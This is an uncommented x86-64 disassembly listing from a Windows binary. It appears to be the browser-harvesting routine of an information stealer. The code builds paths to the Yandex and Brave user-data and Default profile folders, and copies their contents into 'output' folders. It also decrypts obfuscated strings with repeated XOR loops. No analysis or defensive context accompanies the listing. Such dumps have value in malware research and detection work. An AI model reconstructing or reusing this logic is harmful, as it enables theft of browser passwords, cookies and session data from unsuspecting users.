mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140032460
nop
bts ebx, 0x1d
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x2d0]
call fcn.140009ea0
test al, al
je 0x14001f6f5
lea r8, str._appdata_local_yandex_yandexbrowser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
nop
bts ebx, 0x1e
mov dword [rsp + 0x58], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
or ebx, 0x80000000
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140009f30
test al, al
je 0x14001f6f5
mov dil, 1
jmp 0x14001f6f8
xor dil, dil
test ebx, ebx
jns 0x14001f70d
btr ebx, 0x1f
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
bt ebx, 0x1e
jae 0x14001f724
btr ebx, 0x1e
lea rcx, [rbp + 0x128]
call fcn.14002c6f0
nop
bt ebx, 0x1d
jae 0x14001f73b
btr ebx, 0x1d
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
bt ebx, 0x1c
jae 0x14001f74a
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
test dil, dil
je 0x14001f9ba
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_yandex_yandexbrowser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp + 0x128]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x2b0]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002c6f0
lea r8, str._output_yandex_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x58]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.14002c350
nop
lea rcx, [rbp + 0x58]
call fcn.140007810
lea r8, [0x14028ce08]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x128]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 0x128]
call fcn.140007810
lea rcx, [rbp + 0x290]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x58]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x58]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xa8]
call fcn.140030530
mov r15, rax
lea rax, [rbp - 0x38]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_yandex_yandexbrowser_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x38]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028ce08]
lea rcx, [rbp + 0x38]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0x108]
mov qword [rbp + 0x78], rax
lea rdx, str._yandex_
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp + 0x2b0]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
nop
lea rcx, [rbp + 0x2d0]
call fcn.140007810
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
lea rcx, [rbp + 0x250]
call fcn.14002bdf0
lea r8, str._appdata_local_bravesoftware_brave_browser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.140030530
nop
mov dword [rsp + 0x60], 1
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
mov ebx, 3
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140009ea0
test al, al
je 0x14001fa62
lea r8, str._appdata_local_bravesoftware_brave_browser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
nop
mov dword [rsp + 0x60], 7
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140032460
nop
mov ebx, reloc.WS2_32.dll_ntohs
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x60], ebx
lea rcx, [rbp + 0x290]
call fcn.140009f30
test al, al
je 0x14001fa62
mov dil, 1
jmp 0x14001fa65
xor dil, dil
test bl, 8
je 0x14001fa7e
and ebx, 0xfffffff7
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x290]
call fcn.140007810
nop
test bl, 4
je 0x14001fa97
and ebx, 0xfffffffb
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x128]
call fcn.14002c6f0
nop
test bl, 2
je 0x14001fab0
and ebx, 0xfffffffd
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x2b0]
call fcn.140007810
nop
test bl, 1
je 0x14001fac5
and ebx, 0xfffffffe
mov dword [rsp + 0x58], ebx
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
test dil, dil
je 0x140024b09
mov edx, Ordinal_26
lea rcx, [rbp + 0x250]
call fcn.14000bfe0
lea r8, str._appdata_local_bravesoftware_brave_browser_user_data_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x128]
call fcn.140030530
nop
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.140012380
nop
lea rcx, [rbp + 0x128]
call fcn.14002c6f0
lea rdx, str.Default
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x250]
call fcn.14002bda0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
lea r8, str._output_brave_
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x58]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.14002c350
nop
lea rcx, [rbp + 0x58]
call fcn.140007810
lea r8, [0x14028ceb8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x128]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c350
nop
lea rcx, [rbp + 0x128]
call fcn.140007810
lea rcx, [rbp + 0x2d0]
call fcn.14002c1d0
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0x2b0]
call fcn.14002c1d0
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x58]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x58]
call fcn.14002c8e0
mov r13, rax
lea rax, [rbp - 0x68]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0x368]
lea rcx, [rbp - 0x68]
call fcn.14002b830
mov r12, rax
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x70], rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xa8]
call fcn.140030530
mov r15, rax
lea rax, [rbp - 0x38]
mov qword [rsp + 0x70], rax
lea r8, str._appdata_local_bravesoftware_brave_browser_user_data
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x38]
call fcn.140030530
mov r14, rax
lea rax, [rbp + 0x38]
mov qword [rbp + 0x80], rax
lea rdx, [0x14028ceb8]
lea rcx, [rbp + 0x38]
call fcn.14002c350
mov rsi, rax
lea rax, [rbp + 0x108]
mov qword [rbp + 0x78], rax
lea rdx, str._brave_
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
mov rdi, rax
lea rax, [rbp + 0x290]
mov qword [rbp + 0x30], rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x290]
call fcn.14002c8e0
mov rbx, rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0xe8]
call fcn.14002be00
nop
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r12
mov rcx, qword [rbp - 0x40]
mov qword [rsp + 0x38], rcx
mov rcx, qword [rbp - 0x48]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov r9, rsi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014e00
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c620]
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x18]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp + 0x58]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x51]
call fcn.140027790
mov r10, rax
mov edi, dword [reloc.WS2_32.dll_accept]
movdqa xmm7, xmmword [0x1402a5830]
movdqa xmm10, xmmword [0x1402a5870]
movdqa xmm8, xmmword [0x1402a5820]
movdqa xmm6, xmmword [0x1402a5880]
movdqa xmm9, xmmword [0x1402a5800]
xor ebx, ebx
cmp byte [rax + 0x1d], bl
je 0x14001fef0
mov r8d, ebx
cmp edi, 2
jl 0x14001feab
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14001fdc0
cmp r8d, 0x1e
jge 0x14001fef0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x14001fec0
mov rdx, r10
lea rcx, [rbp + 8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 0xa8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027760
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x1400200a0
mov r8d, ebx
cmp edi, 2
jl 0x14002005b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14001ff70
cmp r8d, 0x21
jge 0x1400200a0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140020070
mov rdx, r10
lea rcx, [rbp + 0x290]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x50]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x140020230
mov r8d, ebx
cmp edi, 2
jl 0x1400201eb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140020100
cmp r8d, 0x35
jge 0x140020230
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140020200
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xc8]
call fcn.14002c6f0
nop
lea rcx, [rbp + 8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x18]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c6a8]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.1400277f0
mov r10, rax
cmp byte [rax + 0x14], 0
je 0x140020470
mov r8d, ebx
cmp edi, 2
jl 0x14002042b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140020340
cmp r8d, 0x15
jge 0x140020470
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140020440
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.1400277c0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140020620
mov r8d, ebx
cmp edi, 2
jl 0x1400205db
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400204f0
cmp r8d, 0x21
jge 0x140020620
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400205f0
mov rdx, r10
lea rcx, [rbp - 0x38]
call fcn.14002c8a0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.140032460
mov rsi, rax
lea rdx, [rbp + 0x178]
lea rcx, [rsp + 0x51]
call fcn.140027720
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x1400207b0
mov r8d, ebx
cmp edi, 2
jl 0x14002076b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140020680
cmp r8d, 0x35
jge 0x1400207b0
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140020780
mov rdx, r10
lea rcx, [rbp + 0xa8]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x58]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0xc8]
call fcn.140032460
nop
mov qword [rsp + 0x20], r15
mov r9, r12
mov r8, r14
mov rdx, rsi
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x58]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0xa8]
call fcn.14002c6f0
nop
lea rcx, [rbp - 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x38]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x108]
call fcn.14002c6f0
nop
lea rcx, [rbp + 0x290]
call fcn.140007810
lea rax, [rbp - 0x68]
mov qword [rbp - 0x80], rax
lea rdx, [rbp + 0x250]
lea rcx, [rbp - 0x68]
call fcn.14002be00
mov r15, rax
lea r8, [0x14028c520]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x290]
call fcn.140032f00
nop
mov rcx, rax
call fcn.14002c1d0
mov r12, rax
lea rax, [rbp - 0x18]
mov qword [rbp - 0x78], rax
lea rdx, [rbp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.140027850
mov r10, rax
cmp byte [rax + 0x18], 0
je 0x140020a00
mov r8d, ebx
cmp edi, 2
jl 0x1400209bb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400208d0
cmp r8d, 0x19
jge 0x140020a00
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x1400209d0
mov rdx, r10
lea rcx, [rbp + 0x108]
call fcn.14002c8a0
nop
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x38]
call fcn.1400306f0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.140032460
mov r14, rax
lea rax, [rbp + 8]
mov qword [rbp - 0x70], rax
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x52]
call fcn.140027820
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140020bb0
mov r8d, ebx
cmp edi, 2
jl 0x140020b6b
